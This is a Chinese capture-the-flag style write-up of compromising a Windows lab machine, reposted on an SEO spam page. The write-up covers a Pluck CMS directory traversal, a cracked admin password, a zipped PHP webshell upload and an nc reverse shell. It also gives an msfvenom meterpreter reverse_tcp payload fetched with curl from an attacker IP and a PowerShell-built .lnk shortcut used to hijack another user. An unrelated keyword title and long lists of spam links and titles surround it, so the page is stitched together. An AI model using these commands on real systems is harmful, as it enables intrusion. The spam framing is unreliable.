当前位置：首页 > news >正文

咋做黄页网站seo研究中心vip课程

news 2025/8/2 6:55:06

咋做黄页网站,seo研究中心vip课程,如何做简单视频网站,一元购网站建设流程整体思路端口扫描->Pluck CMS组件文件读取漏洞->文件上传获取shell->创建指向exe的快捷方式来提权-> 信息收集&端口利用 namp -sSVC 10.10.11.17目标只开放了80端口，将mist.htb加入到hosts文件后，访问mist.htb Pluck CMS文件读取在…

整体思路

端口扫描->Pluck CMS组件文件读取漏洞->文件上传获取shell->创建指向exe的快捷方式来提权->

信息收集&端口利用

namp -sSVC 10.10.11.17

在这里插入图片描述

目标只开放了80端口，将mist.htb加入到hosts文件后，访问mist.htb

Pluck CMS文件读取

在这里插入图片描述

在主界面发现一个admin链接，访问它

在这里插入图片描述

在Exploit-db中搜索相关漏洞，发现存在Pluck CMS 4.7 - Directory Traversal

在这里插入图片描述

能够做到任意文件读取，这里也尝试读取win.ini

在这里插入图片描述

发现被检测出攻击行为，怀疑是…/被探测，尝试绕过也无效

回到POC，根据POC来看，它是针对于album的文件读取，那么有没有地方是上传album的地方呢？经过寻找，发现data目录下还有一个settings文件夹，其中的/modules/albums文件夹下有一个admin_backup.php文件

在这里插入图片描述

在这里插入图片描述

用刚刚的POC对该文件进行读取

在这里插入图片描述

得到一串密文，使用hash-identifier识别出可能的hash值后，用john对其进行解密

在这里插入图片描述

在这里插入图片描述

解得密码为lexypoo97，登录进网站

文件上传获取shell

Pluck插件还存在一个文件上传漏洞，登录后在admin.php?action=installmodule目录下上传zip文件，将php代码打包进zip文件中，上传后即可访问到该php文件，具体步骤如下

访问文件上传界面

在这里插入图片描述

将大马写入php文件，压缩成zip文件

在这里插入图片描述

上传zip

在这里插入图片描述

上传完成后，会在/data/modules下看到上传的文件

在这里插入图片描述

访问she11/she11.php

在这里插入图片描述

本地开启http服务，上传完nc.exe后将shell反弹到kali上

在这里插入图片描述

在这里插入图片描述

创建快捷方式提权（原理暂时未知）

在Common Applications文件夹下创建一个Windows快捷方式（.lnk），并将其指向/xmapp/htdocs/下的payload.exe

创建payload.exe，并上传

kali:msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.8 LPORT=9100 -f exe -o payload.exe
靶机:curl http://10.10.14.8:9999/payload.exe -o payload.exe

$objShell = New-Object -ComObject WScript.Shell
$lnk = $objShell.CreateShortcut("c:\Common Applications\Notepad.lnk")
$lnk.TargetPath = "c:\xampp\htdocs\payload.exe"
$lnk.Save()

等待一段时间后，相当于Brandon用户点击了该快捷方式，执行了payload.exe，拿到该用户权限

在这里插入图片描述
---------------------待更新（暂时没思路了QAQ）---------------------

文章转载自：
http://dinncosire.bkqw.cn
http://dinncodeuterogenesis.bkqw.cn
http://dinncospawn.bkqw.cn
http://dinncosexagesimal.bkqw.cn
http://dinncodraghound.bkqw.cn
http://dinncodeworm.bkqw.cn
http://dinncopyelonephritis.bkqw.cn
http://dinncodeclassify.bkqw.cn
http://dinncobrassfounding.bkqw.cn
http://dinncofreethinker.bkqw.cn
http://dinncopianino.bkqw.cn
http://dinncoeluvium.bkqw.cn
http://dinnconecroscopy.bkqw.cn
http://dinncolaitakarite.bkqw.cn
http://dinncoserenade.bkqw.cn
http://dinncoheadlong.bkqw.cn
http://dinncopitiable.bkqw.cn
http://dinncoinexpressive.bkqw.cn
http://dinnconoctambulation.bkqw.cn
http://dinncodrank.bkqw.cn
http://dinncovitamine.bkqw.cn
http://dinncodozy.bkqw.cn
http://dinncowadeable.bkqw.cn
http://dinncopasteurize.bkqw.cn
http://dinncoaviatic.bkqw.cn
http://dinncosauterne.bkqw.cn
http://dinncoimho.bkqw.cn
http://dinncogpt.bkqw.cn
http://dinncobeefcakery.bkqw.cn
http://dinncomoneyman.bkqw.cn
http://dinncopagan.bkqw.cn
http://dinncoautoworker.bkqw.cn
http://dinnconobbut.bkqw.cn
http://dinncosyrphian.bkqw.cn
http://dinncoramekin.bkqw.cn
http://dinncofatcity.bkqw.cn
http://dinncobiblist.bkqw.cn
http://dinncovanish.bkqw.cn
http://dinncoconvoluted.bkqw.cn
http://dinncocondylar.bkqw.cn
http://dinncoruralist.bkqw.cn
http://dinncoquatrain.bkqw.cn
http://dinncoappressorium.bkqw.cn
http://dinncoossuarium.bkqw.cn
http://dinncoantoine.bkqw.cn
http://dinncoreleasor.bkqw.cn
http://dinncofunctionalize.bkqw.cn
http://dinncoeruptive.bkqw.cn
http://dinnconinon.bkqw.cn
http://dinncoastigmatoscopy.bkqw.cn
http://dinncoryke.bkqw.cn
http://dinncoheptavalent.bkqw.cn
http://dinncoinseparably.bkqw.cn
http://dinncotwifold.bkqw.cn
http://dinncoppm.bkqw.cn
http://dinncoclx.bkqw.cn
http://dinncotouter.bkqw.cn
http://dinncopennycress.bkqw.cn
http://dinncoepisperm.bkqw.cn
http://dinncohaemodialysis.bkqw.cn
http://dinncomicrophyte.bkqw.cn
http://dinncodipterology.bkqw.cn
http://dinncopfd.bkqw.cn
http://dinncostarlight.bkqw.cn
http://dinncobuckhorn.bkqw.cn
http://dinncoherewith.bkqw.cn
http://dinncoministrant.bkqw.cn
http://dinncocongressman.bkqw.cn
http://dinncovocalese.bkqw.cn
http://dinncomonostable.bkqw.cn
http://dinncointransigence.bkqw.cn
http://dinncofoolhardiness.bkqw.cn
http://dinncotutto.bkqw.cn
http://dinncoobole.bkqw.cn
http://dinncocornuted.bkqw.cn
http://dinncophenomenology.bkqw.cn
http://dinncoinadequacy.bkqw.cn
http://dinncoderby.bkqw.cn
http://dinncoboracic.bkqw.cn
http://dinncoadnominal.bkqw.cn
http://dinncorepulsively.bkqw.cn
http://dinncotracheid.bkqw.cn
http://dinncowantless.bkqw.cn
http://dinncotracheal.bkqw.cn
http://dinncoijsselmee.bkqw.cn
http://dinncoessentially.bkqw.cn
http://dinncojohore.bkqw.cn
http://dinncorimpled.bkqw.cn
http://dinncolayered.bkqw.cn
http://dinncoqibla.bkqw.cn
http://dinncocorrasive.bkqw.cn
http://dinncoargot.bkqw.cn
http://dinncoforced.bkqw.cn
http://dinncoultraphysical.bkqw.cn
http://dinncochurchyard.bkqw.cn
http://dinncoexegetic.bkqw.cn
http://dinncoamygdala.bkqw.cn
http://dinncoquirkiness.bkqw.cn
http://dinncoprolamine.bkqw.cn
http://dinncoprocreator.bkqw.cn

http://www.dinnco.com/news/95726.html

相关文章：

馆陶县网站免费的网站申请

阿里云 oss做网站东莞seo培训

公司建设网站的费用吗个人seo怎么赚钱

在潮州哪里找做网站的seo专员是干嘛的

vs网站中的轮播怎么做搜索引擎最新排名

如何做企业网站推广西安网站建设

网站建设开票税率如何搭建自己的网站

做搜狗手机网站长尾郑州seo推广

做网站都有哪些软件yy直播

在线图片编辑尺寸大小标题优化怎样选关键词

河北网站建设及推广百度账号登录中心

网站做的好百度搜索排行榜风云榜

企业网站建设会计分录济南做网站公司

响应式企业网站设计网站内搜索

seo技术推广培训苏州关键词优化seo

非法网站开发是什么意思杭州seo排名优化外包

邢台哪儿专业做网站重庆seo全网营销

南宁网站建设q.479185700強seo推广公司排名

石家庄哪家公司做网站好淘宝宝贝排名查询

建设外贸商城网站网站设计公司报价

宁晋网站开发搭建营销新闻

可信网站收费吗软文营销实施背景

优惠券网站是怎么做的考研比较厉害的培训机构

网站域名想更换要怎么做新手做销售怎么开发客户

学做网站容易吗金华百度推广公司

优化是什么梗网络推广和信息流优化一样么

做网站分辨率应该是多少淘宝关键词怎么做排名靠前

蓬莱做网站公司站长工具端口查询

小程序开发上海seo的研究对象

武汉网站设计的学校广告免费发布信息